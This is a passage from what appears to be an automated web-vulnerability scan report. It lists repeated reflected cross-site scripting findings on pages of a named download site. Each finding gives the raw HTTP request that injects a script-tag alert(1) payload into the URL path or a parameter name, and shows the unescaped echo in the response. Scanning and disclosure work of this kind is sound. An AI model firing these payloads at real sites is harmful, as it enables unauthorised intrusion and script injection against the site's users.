HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:21:55 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:32:37 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 64584
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/?2ff09"><script>alert(1)</script>13dc0cda439=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2b79"><script>alert(1)</script>8459f495ec0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-assembling-downloads.htmle2b79"><script>alert(1)</script>8459f495ec0 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:44:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:55:01 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22assembling%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22assembling%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 72826
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-assembling-downloads.htmle2b79"><script>alert(1)</script>8459f495ec0" /> ...[SNIP]...
4.1488. http://www.x64bitdownload.com/64-bit-assembling-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-assembling-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 634a7"><script>alert(1)</script>8617ba432e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-assembling-downloads.html?634a7"><script>alert(1)</script>8617ba432e=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:40:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:36 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22assembling%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22assembling%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 72828
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-assembling-downloads.html?634a7"><script>alert(1)</script>8617ba432e=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55aa1"><script>alert(1)</script>7678cf509d9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-atom-downloads.html55aa1"><script>alert(1)</script>7678cf509d9 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:58:56 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:14 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22atom%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22atom%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89362
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-atom-downloads.html55aa1"><script>alert(1)</script>7678cf509d9" /> ...[SNIP]...
4.1490. http://www.x64bitdownload.com/64-bit-atom-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-atom-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8505"><script>alert(1)</script>10d78ca816a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-atom-downloads.html?e8505"><script>alert(1)</script>10d78ca816a=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:10 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:13 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22atom%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22atom%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89365
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-atom-downloads.html?e8505"><script>alert(1)</script>10d78ca816a=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb3a9"><script>alert(1)</script>d0002961a7e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-audio-downloads.htmlcb3a9"><script>alert(1)</script>d0002961a7e HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:08 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:54 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22audio%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22audio%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 96716
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-audio-downloads.htmlcb3a9"><script>alert(1)</script>d0002961a7e" /> ...[SNIP]...
4.1492. http://www.x64bitdownload.com/64-bit-audio-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-audio-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7c34"><script>alert(1)</script>baaa57e444b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-audio-downloads.html?c7c34"><script>alert(1)</script>baaa57e444b=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:41:25 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:51:38 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22audio%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22audio%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 96719
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-audio-downloads.html?c7c34"><script>alert(1)</script>baaa57e444b=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ccfc"><script>alert(1)</script>7e29c8efc8f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-automatic-downloads.html5ccfc"><script>alert(1)</script>7e29c8efc8f HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:45:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:12 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22automatic%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22automatic%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90259
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-automatic-downloads.html5ccfc"><script>alert(1)</script>7e29c8efc8f" /> ...[SNIP]...
4.1494. http://www.x64bitdownload.com/64-bit-automatic-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-automatic-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85109"><script>alert(1)</script>d22981fa63d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-automatic-downloads.html?85109"><script>alert(1)</script>d22981fa63d=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:43:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:53:48 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22automatic%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22automatic%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90262
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-automatic-downloads.html?85109"><script>alert(1)</script>d22981fa63d=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ba5f"><script>alert(1)</script>cd53e677bcf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-autoposter-downloads.html1ba5f"><script>alert(1)</script>cd53e677bcf HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:42:56 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:53:06 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22autoposter%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22autoposter%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 36336
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-autoposter-downloads.html1ba5f"><script>alert(1)</script>cd53e677bcf" /> ...[SNIP]...
4.1496. http://www.x64bitdownload.com/64-bit-autoposter-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-autoposter-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5be8e"><script>alert(1)</script>09953da3321 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-autoposter-downloads.html?5be8e"><script>alert(1)</script>09953da3321=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:26 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22autoposter%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22autoposter%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 36339
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-autoposter-downloads.html?5be8e"><script>alert(1)</script>09953da3321=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6728"><script>alert(1)</script>d227ac254cf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-binaries-downloads.htmla6728"><script>alert(1)</script>d227ac254cf HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:58:24 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:08:47 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22binaries%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22binaries%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88897
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-binaries-downloads.htmla6728"><script>alert(1)</script>d227ac254cf" /> ...[SNIP]...
4.1498. http://www.x64bitdownload.com/64-bit-binaries-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-binaries-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b928f"><script>alert(1)</script>b24ddd27216 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-binaries-downloads.html?b928f"><script>alert(1)</script>b24ddd27216=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:07 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:04:23 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22binaries%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22binaries%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88900
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-binaries-downloads.html?b928f"><script>alert(1)</script>b24ddd27216=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd625"><script>alert(1)</script>5e17d0ba98 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-binary-downloader-downloads.htmlfd625"><script>alert(1)</script>5e17d0ba98 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:58:23 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:08:43 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A17%3A%22binary-downloader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A17%3A%22binary+downloader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 35790
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-binary-downloader-downloads.htmlfd625"><script>alert(1)</script>5e17d0ba98" /> ...[SNIP]...
4.1500. http://www.x64bitdownload.com/64-bit-binary-downloader-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-binary-downloader-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f33c0"><script>alert(1)</script>a7faec4549f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-binary-downloader-downloads.html?f33c0"><script>alert(1)</script>a7faec4549f=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:55:05 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:05:37 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A17%3A%22binary-downloader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A17%3A%22binary+downloader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 35794
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-binary-downloader-downloads.html?f33c0"><script>alert(1)</script>a7faec4549f=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d254"><script>alert(1)</script>67bb66d1da1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-binary-downloads.html6d254"><script>alert(1)</script>67bb66d1da1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:42:25 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:52:48 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22binary%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22binary%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91352
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-binary-downloads.html6d254"><script>alert(1)</script>67bb66d1da1" /> ...[SNIP]...
4.1502. http://www.x64bitdownload.com/64-bit-binary-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-binary-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5d5c"><script>alert(1)</script>01d31414795 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-binary-downloads.html?a5d5c"><script>alert(1)</script>01d31414795=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22binary%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22binary%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91355
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-binary-downloads.html?a5d5c"><script>alert(1)</script>01d31414795=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c7db"><script>alert(1)</script>387ba0d9d20 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
